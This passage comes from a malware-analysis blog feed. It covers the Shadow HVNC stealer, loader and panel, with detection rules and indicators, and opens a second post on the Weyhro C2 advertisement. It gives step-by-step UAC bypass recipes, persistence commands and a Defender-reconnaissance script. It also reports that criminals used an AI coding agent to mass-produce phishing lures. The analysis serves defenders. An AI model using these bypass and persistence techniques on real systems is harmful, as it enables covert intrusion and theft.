DETACHED_PROCESS).</p><p>After that first resurrection, it switches to a cheaper method: watch mode. Every 30 seconds, it takes a Toolhelp32 snapshot of all running processes and looks for the target’s full path, and if the target is missing, the watchdog relaunches it.</p><p>Let’s look at WMI persistence that was briefly mentioned above. The watchdog uses wmic to plant three objects in root\subscription: an __EventFilter named MicrosoftWindowsFilter with the WQL query:</p><ul><li>SELECT * FROM __InstanceModificationEvent WITHIN 30 WHERE TargetInstance ISA ‘Win32_LocalTime’</li></ul><p>It’s bound to a CommandLineEventConsumer named MicrosoftWindowsConsumer whose ExecutablePath is Shadow HVNC.</p><h4>Elevation: the Four-Method UAC Bypass Chain</h4><p>The watchdog does not require administrator rights, but it makes an effort to obtain them. main.installSelfPersistence is the function that installs every persistence layer listed above, first calling main.isElevated() (OpenProcessToken + GetTokenInformation(TokenElevation)). If the token is not elevated, it logs &quot;[UAC] not elevated — attempting bypass chain&quot; and runs main.tryUACBypass with per-method logging (&quot;[UAC] trying %s...&quot;, &quot;[UAC] %s succeeded&quot;, &quot;[UAC] %s failed&quot;). If all four fail, installation continues anyway with &quot;[UAC] all bypasses failed — installing non-elevated layers only&quot; and the watchdog persists as a normal user. The methods, in order:</p><ul><li><strong>fodhelper</strong> and <strong>computerdefaults</strong> — two utilities for the same registry hijack (redundancy because why not?): it creates HKCU\SOFTWARE\Classes\ms-settings\shell\open\command, sets its (Default) value to the quoted payload path and DelegateExecute to an empty string, then launches the auto-elevating system binary (fodhelper.exe or computerdefaults.exe) with the window hidden (CREATE_NO_WINDOW). Windows resolves the ms-settings: protocol through the per-user hijack and starts the payload elevated. After a 1.5-second wait, the hijack keys are deleted, so by the time anything inspects the registry the evidence is gone.</li><li><strong>silentcleanup</strong> — the DiskCleanup windir hijack: creates a temp directory, copies the watchdog into it as &lt;tmp&gt;\system32\cleanmgr.exe, sets the windir environment variable to the temp directory, then runs schtasks /run /tn &quot;\Microsoft\Windows\DiskCleanup\SilentCleanup&quot; /i hidden. The SilentCleanup task executes with highest privileges and resolves %windir%\system32\cleanmgr.exe through the hijacked windir.</li><li><strong>cmstplua </strong>— COM auto-elevation. The object is acquired two ways: CoCreateInstance on CLSID {3E5FC7F9-9A51-4367-9063-A120244FBEC7} (CMSTPLUA) with IID {6EDD6D74-C007-4E75-B76A-E5740995E24C} (ICMLuaUtil), and, only if that fails, a CoGetObject moniker — &quot;Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}&quot;. Once the code has the elevated ICMLuaUtil object, it needs to call that object’s ShellExec method, the function that launches a program with high privileges. COM methods are reached by index: the object is a table of function pointers (the “vtable”), and ShellExec lives at a specific slot in that table. The problem is the slot number isn’t the same on every Windows build — Microsoft has shifted the ICMLuaUtil layout over the years, so an index that works on one version misses on another. Instead of hard-coding one slot and hoping, the watchdog just tries slots 6 through 10, calling each with the payload path until one of them actually launches it (“[UAC] cmstplua ShellExec at vtable[%d] succeeded”).</li></ul><h3>Shadow HVNC Panel</h3><p>When you run a server payload — the startup presents a bilingual (en/ru) prompt and a 16-byte machine fingerprint (shown as e.g. 5CCD6C0DBA9AD2AB6CC8752381A6E71D), then looks for license.key next to the executable or asks for a key to be pasted in.</p><p>A license key contains the prefix RMTX- followed by a base64url-encoded 129-byte blob. Decoded, that blob starts with the 4-byte magic RMTW, then packs five fields at fixed offsets:</p><ul><li>offset 0x24 — one tier byte (1 is for Weekly; this is what the panel shows back as &quot;✓ License valid — Weekly, N day(s) remaining&quot;)</li><li>offset 0x25 — expiry timestamp, 64-bit big-endian</li><li>offset 0x2D — the 16-byte machine ID the key is locked to</li><li>offset 0x3D — a 32-bit serial number</li><li>offset 0x41 — a 64-byte Ed25519 signature covering the 65 bytes before it</li></ul><p>Verification happens against a vendor public key hardcoded in the binary — f65bdff0bf9c807c96c9a768f63311b61f2bea981f9ce6f08306cac7d7b0f5e8 and the same key also sits next to the panel as a 32-byte pubkey.bin.</p><p>You can’t forge a key without the vendor’s private key, and because the machine ID is baked into the signed blob, a key made for one computer fails the signature check on any other.</p><p>The machine ID comes from nothing crazy, just the network adapters plus the hostname.</p><p>The binary lists every interface, skips loopback, and keeps anything with a MAC address, including disconnected adapters and tunnel pseudo-interfaces. Each MAC is formatted as lowercase colon-hex, the list is sorted, joined with |, and the hostname is appended at the end. The machine ID is the first 16 bytes of the SHA-256 of that string, displayed as uppercase hex. So the fingerprint would look like: sha256(&quot;mac1|mac2|mac3|HOSTNAME&quot;)[:16]:</p><pre>host:<br>  input:  00:15:5d:11:22:33|08:00:27:aa:bb:cc|3c:52:82:44:55:66|<br>          3c:52:82:77:88:99|ac:de:48:00:11:22|ac:de:48:33:44:55|<br>          ac:de:48:66:77:88|f4:8c:50:99:aa:bb|WORKSTATION-01<br><br>  sha256(input)[:16] = 1F3A9C72D8046B5E9A71C2E8F5D60394</pre><p>After local signature validation, the panel sends a POST request to a Shadow HVNC’s server:</p><pre>POST hxxp://212.162.150[.]121/v1/verify<br>Content-Type: application/json<br><br>{&quot;binary_hash&quot;: &lt;SHA-256 of the running panel binary&gt;, &quot;blob&quot;: &lt;the full license key&gt;, &quot;key_hash&quot;: &lt;SHA-256 of the key string&gt;,<br> &quot;machine_hash&quot;: &lt;hash of the machine&#39;s 16-byte fingerprint&gt;, &quot;proof&quot;: &lt;hash over machine + key + timestamp - changes every request, so a captured request can&#39;t be replayed&gt;, &quot;ts&quot;: &lt;unix&gt;}</pre><p>The panel re-checks with the server roughly every 30 minutes. The verify request binds the license key, the machine fingerprint, and the SHA-256 of the panel binary itself. The server’s response includes a field the panel tests for a value beginning with disp, which is a vendor-side kill switch.</p><h3>Hunting For More Panels and Finding …. a Loader and Vietnamese TAs?!</h3><p>Finding live panels doesn’t require any hacking, really; it only requires a search bar. The panel helpfully titles its page RemoteX Control Panel, and internet-wide scanners index HTML titles. Paste that into Silent Push, for example, and you get the customer list. I&#39;ve included the panel IPs in the <em>Indicators of Compromise </em>section.</p><p>One caveat for hunters: that title only catches the older builds. The newer version retitles the page — the build we analyzed serves its dashboard as Shadow HVNC.</p><p>These exposed instances appear to be running the older build (v2.2), which had no authentication at all prior.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FM8w0GTfae523CeRNPTtaw.png" /><figcaption>Silent Push results for pages titled “RemoteX Control Panel”</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pdz97domBF8V0Ug0aLyTxQ.png" /><figcaption>Silent Push results for pages titled “Shadow HVNC”</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tXsQSr1nZmiM0BKW-n9deg.png" /><figcaption>RemoteX Panel (v2.2)</figcaption></figure><p>While hunting for Shadow HVNC, I discovered a loader they released on August 13.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*aSbiU1Z7EMKZrqx9DrVzBA.png" /><figcaption>Shadow HVNC Loader advertisement (source: Telegram)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EFHngEH0Cb2rRgYuaeW6xw.png" /><figcaption>Shadow HVNC Loader</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dz9z8UCcx-SlSdBK1hI9Gw.png" /><figcaption>Shadow HVNC Loader</figcaption></figure><p>Digging further, I identified a Vietnamese threat actor, going under the handle <em>@fishns</em>, who had purchased the loader for lifetime access. The TA spread their payloads primarily via malspam, mostly leveraing Social Security (SSA) lures.</p><p>What stood out most, though, was how they are building the campaigns. The operators are using Claude Code, running Claude Opus, to mass-produce and localize their lure templates. In one session, the assistant output 25 Italian-language “copyright infringement” notices (fake DMCA/Diffida takedowns), each localized down to the language, the legal citations, and even the send-time window (their afternoon batches). The same tooling is aimed at templates for at least seven regions: the US, South Korea, Japan, Italy, Spain, Denmark, and Hong Kong.</p><p>A recurring detail across batches is the fake “download” button baked into every template. In the Italian notices it’s a counterfeit Excel button (“Scarica il file Excel,” complete with a hand-built green Excel icon); in the Korean ones it’s a spoofed PDF button with a red “PDF” document icon. In one session, the operator even directs the agent to make the PDF button look more professional by cloning it from an existing reference template.</p><p>One interesting detail is who is receiving the malspam. The sending console is organized by Facebook Page, each row pairs a numeric Page ID with the business’s name and a contact email, meaning the recipients are Facebook business-Page administrators. That’s the audience a fake copyright-infringement notice is built to panic: “Your Page has violated copyright — click here to appeal”. It ties the DMCA/Diffida lure straight to its intended victims. And the scale is pretty big: a single Korea batch shows 28,079 recipients queued, each tracked individually for send and read status.</p><p>This specific TA also likes to utilize HosterDaddy VPS to host PureRAT and Shadow Loader panel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GV0FM0AjjSdjp9CS_QK-6Q.png" /><figcaption>Threat Actor’s PureRAT panel</figcaption></figure><p>The TA appears to be using AI-assisted tooling not just for the lures, but for the sending console itself. Branded “Sheets Portal”, it reimplements a Google Sheets-style interface on a database backend, with Vietnamese UI labels. It’s a custom campaign manager that ingests recipient lists, pairs each Facebook Page ID with a business name and contact email, sends the localized lures, and tracks per-recipient send/read status at scale. A spreadsheet-mimicking app like this is exactly what an AI can produce quickly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vBtlYcJQhWT0vpLtYT5L5Q.png" /><figcaption>The threat actor’s custom “Sheets Portal”</figcaption></figure><p>The threat actor is actively exploring crypting services, including the one suggested by Shadow HVNC developers — Rosenthal Crypt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*6uWrfYceUk3IbA-oPI1Fhw.png" /><figcaption>Rosenthal Crypt ad</figcaption></figure><p>It’s a clear example of a threat actor industrializing malspam generation with a frontier AI coding agent, using it not only as a localization-and-templating engine for the lures, but to build the app that distributes them. From the recipient database to the templates to the delivery-tracking dashboard, the entire multi-country operation is effectively AI-assembled.</p><h3>Shadow HVNC Loader: Technical Analysis</h3><p>The loader is the Shadow HVNC kit’s native loader, the Rust rewrite of the Go payload that was analyzed above. It receives jobs from the panel, downloads and hash-verifies payloads over pinned TLS, and carries the live remote-access channel (terminal, screen, input, hidden-desktop browser).</p><h4>Configuration and C2</h4><p>All configuration lives in one place: the configuration table of %LOCALAPPDATA%\Bridge\agent.db. The default C2 server is hardcoded in the binary. On database initialization, the loader reads the server_ip key; if it’s missing, it writes the hardcoded value back: INSERT INTO configuration(key,value) VALUES(&#39;server_ip&#39;,&#39;&lt;C2_IP&gt;&#39;)<br>ON CONFLICT(key) DO UPDATE SET value=excluded.value and logs configuration.default_server.applied. That write happens exactly once: it’s the only code path in the entire binary that writes server_ip, and nothing ever updates it afterward.</p><p>The loader only ever talks to four endpoints. The WebSocket at /api/agent/connect is the main channel — jobs and terminal I/O are sent over that channel, as well as results, screen frames. If the WebSocket can&#39;t be established, the agent degrades to plain HTTPS long-polling against /api/agent/sync, posting its queued outbound messages and receiving jobs in the same request. The remaining two endpoints: /api/agent/enroll is used once, on first contact, to register the device and trade its public key for a server-assigned device ID; /api/agent/ca-recovery is the emergency path that replaces the pinned CA if TLS validation ever fails, authenticated by a signature rather than by the PKI it&#39;s replacing.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/2e834d1eaa33505dcc8cd416268f375f/href">https://medium.com/media/2e834d1eaa33505dcc8cd416268f375f/href</a></iframe><p>When the WebSocket drops, the agent POSTs to /api/agent/sync?wait_seconds=&lt;N&gt; with a body of {&quot;messages&quot;:[…]} and receives jobs and acknowledgements in the same response: {&quot;jobs&quot;:[...], &quot;acknowledged_message_ids&quot;:[...], &quot;server_time&quot;: ...}. Log lines frame the exchange: sync.request messages= wait_seconds=, sync.response jobs= acknowledgements=, connection.https_fallback.success.</p><p>Every WebSocket connection and every HTTPS call carries four headers: X-Device-ID, X-Timestamp, X-Nonce, and X-Signature, an Ed25519 signature over the request, so the server can prove the message came from a registered device and wasn&#39;t replayed. The signing key is created on first run and stored in the configuration table, DPAPI-protected.</p><p>The server answers with two custom headers of its own, X-Bridge-Server-Time tells the loader what time it is (the signature scheme needs an accurate clock). X-Bridge-Auth-Error appears when authentication fails, with two possible values. revoked_device means the operator deliberately killed this device, and the loader is no longer allowed to re-enroll it. unknown_device means the server lost track of it — a panel rebuild, a wiped database and in that case the agent generates a fresh keypair, re-enrolls as a new device, and wipes everything bound to the old identity.</p><p>TLS is pinned to a private root CA at %LOCALAPPDATA%\Bridge\root-ca.crt, whose SHA-256 is stored as configuration key ca_sha256. If the pinned CA gets burned, the loader does not fall back to system trust, it fetches a replacement through a signed recovery document from /api/agent/ca-recovery, validated against a hardcoded key id.</p><h4>How commands work: the job system</h4><p>The panel pushes jobs over the WebSocket (or the HTTPS fallback). Nothing runs straight away: each job is written to %LOCALAPPDATA%\Bridge\agent.db before it executes — an INSERT OR IGNORE into the received_jobs table with status “received” and only then acknowledged. With a real job filled in, the insert looks like this:</p><pre>INSERT OR IGNORE INTO received_jobs VALUES(&#39;3fa8c2e1-7b9d-4e52-a816-09d3f5c41b77&#39;, &#39;command.execute&#39;, &#39;{&quot;interpreter&quot;:&quot;powershell&quot;,&quot;command&quot;:&quot;whoami /all&quot;,&quot;timeout_seconds&quot;:300}&#39;, &#39;received&#39;, 1, &#39;2026-08-15 14:02:11&#39;, &#39;2026-08-15 14:02:11&#39;)</pre><p>The above contains the job’s UUID, the job type, the full payload as JSON (e.g. command line), the status, the attempt counter, and the created and updated timestamps.</p><p>If the row was already there, the agent logs job.duplicate and moves on, so a job delivered twice doesn’t run twice. If it’s new, it logs job.persisted id= type= and queues a job.received message, so the panel knows the job is on disk even if the agent crashes the next second. On startup, unfinished jobs are read back and picked up where they left off. Progress goes back to the panel as job.started, job.progress, job.completed or job.failed, and finished jobs move from received_jobs to completed_jobs with their results attached.</p><p>What each job types does:</p><p><strong>command.execute</strong></p><p>command.execute with payload fields: interpreter (powershell or cmd), command, working_directory, timeout_seconds (default 300, hard cap 900), success_codes — the caller decides which exit codes count as success. PowerShell is spawned as:</p><pre>powershell.exe -NoLogo -NoProfile -NonInteractive -Command &lt;cmd&gt;</pre><p><strong>script.execute</strong></p><p>script.execute with one of the interpreters: script-powershell, script-cmd, script-bat; anything else fails with unsupported script type. Unlike software.deploy, nothing is ever written as a file — the script lives only in the job’s database row and in the child process’s command line.</p><p><strong>software.deploy — the loader core</strong></p><p>The job has a download_path field and the loader fetches the actual file from the panel over the same signed TLS connection, GET request with https://&lt;server&gt;/&lt;download_path&gt;. Every stage logs its own markers:</p><ul><li>The file is downloaded into %LOCALAPPDATA%\Bridge\cache\, but written to a temporary .part file first, so while a package called update.pkg is downloading, you&#39;ll see cache\update.pkg.part, which is renamed to update.pkg only once the transfer completes. Before downloading at all, the loader checks the cache: if a file with the same name, size, and hash is already there, the download is skipped (artifact.cache.hit). After the download, verification runs in two steps — size first, then SHA-256, both against the values given in the job. A mismatch kills the job on the spot (artifact size mismatch: expected …, received … / artifact SHA-256 mismatch: …); a pass logs artifact.download.verified job= bytes= hash=.</li><li>If the managed app is already running, it has to be stopped first —<a href="https://learn.microsoft.com/en-us/windows/win32/procthread/job-objects?redirectedfrom=MSDN"> Job Object</a> kill, or taskkill.exe /PID &lt;pid&gt; /T /F.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/488/1*6_J0JxcRSxW0KyZXnruzBA.png" /></figure><ul><li>The archive is extracted with tar.exe -xf -C &lt;dir&gt; (failure logs: archive extraction failed: ) under apps\staging-&lt;name&gt;. That gives us a nice detection: tar.exe extracting into %LOCALAPPDATA%\Bridge\apps\staging-*.</li><li>Once running, the app is tracked in the managed_apps table with a state (pending, healthy,failed,stopping or stopped). If the app keeps crashing, a circuit breaker prevents it from restarting after too many failures. Every managed process is placed in a Windows Job Object — kill the job object and the entire process tree dies with it. When the loader launches an app, it records the PID, the process’s creation timestamp, and its full image path in the managed_apps table. Before stopping or killing anything, it reopens the PID and checks that the timestamp and path still match what it recorded, because Windows recycles PIDs and a PID could now belong to the victim’s Notepad. If the facts don’t match, the agent leaves the process alone.</li><li>Self-update works by staging the new build next to the old one: the staged copy gets the current exe’s filename with invalid characters replaced by underscores, only if no usable filename can be extracted from the path at all does it fall back to the literal name software.bin. The running old loader is stopped with taskkill /IM, and the new file is swapped into place.</li></ul><p><strong>agent.restart</strong></p><p>The loader writes a small marker file, runtime.lifecycle.json, containing the restart request and its own PID. The supervisor process, which already watches the runtime through heartbeat files — checks the marker, verifies the PID inside matches the runtime it’s actually supervising, then kills the runtime and spawns a fresh one. The new process picks up right where the old one left off, because every pending job is still sitting in the database.</p><p><strong>inventory.collect — host summary</strong></p><p>The panel’s “Request inventory” button sends this job, and the loader answers with an agent.inventory message. But it doesn’t seem like there is a real collecting going on — every field is either a constant or a database read:</p><ul><li>OS — the fixed string “Windows”</li><li>Agent version — “0.4.13”, baked in at compile time</li><li>Device name — read from the configuration table, where enrollment stored it</li><li>Owner, country, device name — the panel fills these in (the country from a GeoIP lookup on the victim’s IP).</li><li>Capabilities — a fixed skills list of 22 tokens covering everything the loader can do: remote_terminal, powershell, screen_share, jpeg-delta, private_desktop, virtual_desktop_coordinates, command_tasks, managed_apps, managed_process_supervision, job_object+verified_identity, job_object_cleanup, user_scope_install, per_user_installer, portable_exe, machine_update_install, machine_msi_install, inventory, update_scan, agent_lifecycle, user_supervised, panel_restart, concurrent_jobs, windows_application_trust.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BE133mVmoLVoKVynJx9WQw.png" /><figcaption>Host Details page from the panel</figcaption></figure><h3>The live channel and how it compares to the Go payload</h3><p>As we have already established everything is communicated over the C2 WebSocket. There are two session types: shell and backstage.</p><ul><li><strong>Terminal or shell sessions </strong>open a Windows pseudo-console (ConPTY) on the victim machine, running cmd.exe /D or powershell.exe -NoLogo. A dedicated task named bridge-conpty-output streams the console output back to the panel; if the operator disconnects and comes back, the agent replays the scrollback so they see what they missed.</li><li><strong>Screen streaming</strong> is plain GDI screen capture encoded as JPEG, nothing fancy. It covers the whole virtual screen, meaning every attached monitor at once, and each frame is numbered.</li><li><strong>Input injection</strong> depends on the session type. In a normal desktop session, mouse and keyboard events go through SendInput. Backstage sessions don’t use it at all; the loader posts window messages directly to the hidden app’s window instead. And if that window is gone, it walks the window tree and picks another one to deliver to.</li><li><strong>Clipboard sharing</strong> copies between the operator and the hidden session: when the operation finishes, the victim’s original clipboard contents are restored, so nothing looks disturbed, the transfers are capped at 1 MiB.</li><li><strong>Backstage mode</strong> is the hidden-desktop workspace. The loader creates a private desktop named winsta0\BridgeBackstage-&lt;n&gt; and launches apps there, where the victim can’t see them, so the victim keeps using their own desktop while the loader screenshots the hidden one and streams it to the panel as JPEG frames. The point of launching a browser this way is what it’s logged into: with the victim’s real profile, the operator gets live Gmail, banking sessions, and saved logins. Since a browser locks its profile while running, the loader first kills the victim’s copy. And it’s not just browsers, the target list includes File Explorer, Notepad, and PowerShell, so the operator can browse the victim’s files or run commands in a window the victim can’t see.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/231/1*t2QBiU_oW9HuQ-2AShFsXw.png" /><figcaption>Backstage Mode</figcaption></figure><p>If you have actually read the RemoteX / Shadow HVNC writeup above, this is the similar product rebuild:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/9c47f49261137cda99fb89893aa95452/href">https://medium.com/media/9c47f49261137cda99fb89893aa95452/href</a></iframe><h4>Persistence</h4><p>For persistence, the loader runs:</p><pre>reg.exe ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v BridgeAgent /t REG_SZ /d &lt;own exe path&gt; /f</pre><p>The Run value name never changes, it’s always BridgeAgent.</p><p>On startup the loader also cleans up after its own older builds, which tells us what those builds looked like: it deletes Dropbox.exe from the Startup folder (an earlier version disguised itself as Dropbox) and Bridge Agent.cmd (the previous launcher script), logging startup.legacy_dropbox_removed when it succeeds. It also migrates the old machine-wide install at C:\ProgramData\BridgeAgent\ into the per-user directory, which suggests that the loader used to install system-wide and was reworked to a per-user model. For hunting and investigation purposes: check both locations on a suspect host, because a machine upgraded from an older build can carry artifacts in both.</p><h4>The most self-aware feature in the loader</h4><p>The windows_application_trust capability is implemented with an embedded PowerShell script with the loader’s own path passed in the environment variable BRIDGE_TRUST_EXE. The script, as embedded in the binary:</p><pre>$ErrorActionPreference=&#39;SilentlyContinue&#39;;<br>$exe=$env:BRIDGE_TRUST_EXE;<br>$sig=Get-AuthenticodeSignature -LiteralPath $exe;<br>$sigStatus=if($sig){[string]$sig.Status}else{&#39;Unknown&#39;};<br>$publisher=if($sig -and $sig.SignerCertificate){[string]$sig.SignerCertificate.Subject}else{&#39;&#39;};<br>$mp=Get-MpComputerStatus;<br>$tamper=if($null -ne $mp -and $null -ne $mp.IsTamperProtected){if([bool]$mp.IsTamperProtected){&#39;Enabled&#39;}else{&#39;Disabled&#39;}}else{&#39;Unknown&#39;};<br>$source=&#39;Local&#39;;<br>if(Test-Path &#39;HKLM:\SOFTWARE\Microsoft\PolicyManager\current\device\Defender&#39;){$source=&#39;MDM&#39;}elseif(Test-Path &#39;HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender&#39;){$source=&#39;Group Policy&#39;};<br>$onboard=(Get-ItemProperty -Path &#39;HKLM:\SOFTWARE\Microsoft\Windows Advanced Threat Protection\Status&#39; -Name OnboardingState -ErrorAction SilentlyContinue).OnboardingState;<br>if($onboard -eq 1 -and $source -eq &#39;Local&#39;){$source=&#39;Defender for Endpoint&#39;};<br>$detection=&#39;Unknown&#39;;<br>if(Get-Command Get-MpThreatDetection -ErrorAction SilentlyContinue){$matches=@(Get-MpThreatDetection | Where-Object { (($_.Resources | Out-String) -like (&#39;*&#39;+$exe+&#39;*&#39;)) });$detection=if($matches.Count -gt 0){&#39;Detection observed&#39;}else{&#39;None observed&#39;}};<br>[ordered]@{signature_status=$sigStatus;publisher=$publisher;tamper_protection=$tamper;management_source=$source;defender_detection=$detection}|ConvertTo-Json -Compress</pre><p>The smartscreen_reputation is always the fixed string “Not directly queryable”, because SmartScreen exposes no API and the authors hardcode their admission instead of omitting the field.</p><p>The loader runs a Defender query to see if it has ever detected the binary, fingerprints how the machine is managed (MDM, Group Policy, or Defender for Endpoint), and reports the results to the panel. For the operator, it’s a “how burned is this install” dashboard.</p><h4>The database is your forensic record</h4><p>Everything the panel ever sent lives in %LOCALAPPDATA%\Bridge\agent.db: received_jobs (every job, with full payload JSON, including script bodies and command lines), completed_jobs, pending_outbox (unacknowledged outbound messages), managed_apps andinstalled_software (what was deployed, from where), and configuration (the server IP, the DPAPI-protected device key, the pinned CA hash). One detail makes this even better for forensics: the database runs in WAL mode. WAL (“write-ahead log”) means SQLite doesn’t write changes directly into agent.db, it appends them to a file, agent.db-wal, and only folds them into the main file later. Until that happens, the main file still holds the old version of a row and the -wal file holds the new one, including rows that were “deleted” or overwritten. So when you investigate a machine, grab agent.db, agent.db-wal, and agent.db-shm together; analyzing only the main file can miss the most recent and most interesting jobs.</p><p><strong>Detection and Hunting Opportunities</strong></p><h4>Shadow HVNC Stealer</h4><p>For all its “stealth” engineering, this sample leaves a bunch of trails:</p><ul><li>A ~16 KB executable named lss.exe with zero imports appearing in a temp directory</li><li>An ETW session named<strong> </strong>RemoteX-DNS — check logman query -ets.</li><li>Defender exclusion events: Add-MpPreference -ExclusionPath/-ExclusionProcess in PowerShell 4104 or the Defender Operational log, especially from a process that isn&#39;t the activity you recognize.</li><li>fodhelper.exe<strong> / </strong>computerdefaults.exe<strong> </strong>preceded by writes under<strong> </strong>HKCU\Software\Classes\ms-settings, so watch out for any write to it, especially when the (Default) value points anywhere outside C:\Windows\System32 (e.g, C:\ProgramData\Microsoft\Windows\WmiPrvSE.exe).</li><li>The recon burst: whoami /all, whoami /priv, net localgroup administrators, net group &quot;Domain Admins&quot; /domain, net view /domain, arp -a, net use, cmdkey /list within seconds from a sketchy parent process</li><li>HTTP GET to ciscobinary.openh264.org where the requesting process is not a browser, optionally with Go-http-client User-Agent.</li><li>Simultaneous modification of Winlogon Userinit, Active Setup StubPath, PowerShell profiles, and the creation of Mouse driver* services and MicrosoftWindowsManagement* tasks.</li><li>The host artifacts: desktop object RemoteXHidden, mutexes RemoteXBS*, registry SOFTWARE\RemoteX (MultiUserHarvest), staging directories mimikatz-credentials/ and files lsass_dump.zip, data.zip, .rxcopy, Profiles-journal.staging.</li></ul><h4>Shadow HVNC Loader</h4><ul><li>Look for endpoint connections to: /api/agent/connect (WSS upgrade), /api/agent/sync?wait_seconds=N, /api/agent/enroll, /api/agent/ca-recovery</li><li>%LOCALAPPDATA%\Bridge\ — agent.db(-wal/-shm), root-ca.crt, cache\*.part, apps\staging-* / current / previous, logs\bridge-agent.log, runtime.lifecycle.json</li><li>HKCU\Software\Microsoft\Windows\CurrentVersion\Run\BridgeAgent</li><li>Mutex Local\BridgeAgent-*; loopback listener 127.0.0.1:34254; hidden desktop winsta0\BridgeBackstage-*</li><li>Legacy artifacts: C:\ProgramData\BridgeAgent\, Startup-folder Dropbox.exe / Bridge Agent.cmd</li><li>CreateDesktop with a BridgeBackstage-* name</li><li>tar.exe -xf extracting into %LOCALAPPDATA%\Bridge\apps\staging-*</li></ul><h3>Indicators of Compromise</h3><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/14651e1aa105a29c96c52723086425f4/href">https://medium.com/media/14651e1aa105a29c96c52723086425f4/href</a></iframe><h3>Yara rules</h3><p><a href="https://github.com/pandare9x/Yara-Rules/tree/main/ShadowHVNC">Yara-Rules/ShadowHVNC at main · pandare9x/Yara-Rules</a></p><h3>Appendix A: Shadow HVNC Stealer Collector Functions</h3><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/73f5e2d31fd9e03eb1d81e8ddc069eea/href">https://medium.com/media/73f5e2d31fd9e03eb1d81e8ddc069eea/href</a></iframe><h3><strong>Appendix B:</strong></h3><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/f6412487cc53bec0895b3c66970b3774/href">https://medium.com/media/f6412487cc53bec0895b3c66970b3774/href</a></iframe><h3>Appendix C: Shadow HVNC Stealer Complete Collection Targets</h3><p><strong>Browsers</strong></p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/ccf65400d598aa3d8f4729fec7eb1407/href">https://medium.com/media/ccf65400d598aa3d8f4729fec7eb1407/href</a></iframe><p><strong>Desktop wallets, trading platforms, game launchers (</strong><strong>collectWalletsAndApps):</strong></p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/afe554386b6476b45f27b57974091651/href">https://medium.com/media/afe554386b6476b45f27b57974091651/href</a></iframe><p><strong>Communication:</strong></p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/26344a7aae0f226ba21a794927937ff5/href">https://medium.com/media/26344a7aae0f226ba21a794927937ff5/href</a></iframe><p><strong>Infrastructure and credential stores:</strong></p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/5c6ee2c3468a89c3e48039de4a2d730b/href">https://medium.com/media/5c6ee2c3468a89c3e48039de4a2d730b/href</a></iframe><p><strong>Content-scan keywords (</strong><strong>collectSeedPhrases, </strong><strong>collectSensitiveFiles - these scan file contents and names):</strong></p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/a6ce4bb2aaa1e1b12a0aa85dd93e293e/href">https://medium.com/media/a6ce4bb2aaa1e1b12a0aa85dd93e293e/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dd99520b6af3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Weyhro C2: Because Ransomware Wasn’t Paying the Bills Anymore]]></title>
            <link>https://medium.com/@malbearlabs/weyhro-c2-because-ransomware-wasnt-paying-the-bills-anymore-b136fd7ef100?source=rss-6a3005ed0ee2------2</link>
            <guid isPermaLink="false">https://medium.com/p/b136fd7ef100</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cybercrime]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <dc:creator><![CDATA[Malbear Labs]]></dc:creator>
            <pubDate>Fri, 05 Dec 2025 06:37:12 GMT</pubDate>
            <atom:updated>2025-12-05T06:37:12.189Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Acknowledgment: Thank you <a href="https://x.com/whoamix302">@whoamix302</a> for sharing the sample!</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F6-AX2hhrW9aaHQOXUSsoQ.png" /><figcaption>Weyhro C2 Advertisement Post</figcaption></figure><p>On December 3rd, 2025, a someone using the handle Weyhro posted an advertisement on a cybercrime forum for a product called <strong>Weyhro C2</strong>. The product is marketed as an “advanced pentesting toolkit designed for stealth and defense evasion”, equipped with a full C2 infrastructure. According to the advertisement, the agent is designed to evade detection and bypass modern AV/EDR solutions on corporate networks, enabling capabilities across the entire spectrum of operations, from initial access and persistence to lateral movement and target engagement.</p><p>The advertisement highlights a modular architecture with the following core features:</p><ul><li><strong>Shell — </strong>Reverse shell with panel control</li><li><strong>SOCKS5 — </strong>Fast proxy for proxychains or residential proxy use</li><li><strong>HVNC</strong> — Hidden VNC with browser session capture (cookies, passwords, tabs)</li><li><strong>Kerberos Dumper</strong> — Ticket extraction from current/all sessions (LSASS dump coming soon)</li><li><strong>Advanced Evasion</strong> — Polymorphic code, AES encryption, hook removal, AMSI/ETW patching, memory scan bypass</li><li><strong>Files</strong> — File manager with upload/download capability</li></ul><p>The seller claims the agent runs as shellcode entirely from memory, is “completely encrypted”, and launched via a loader. The license is priced at 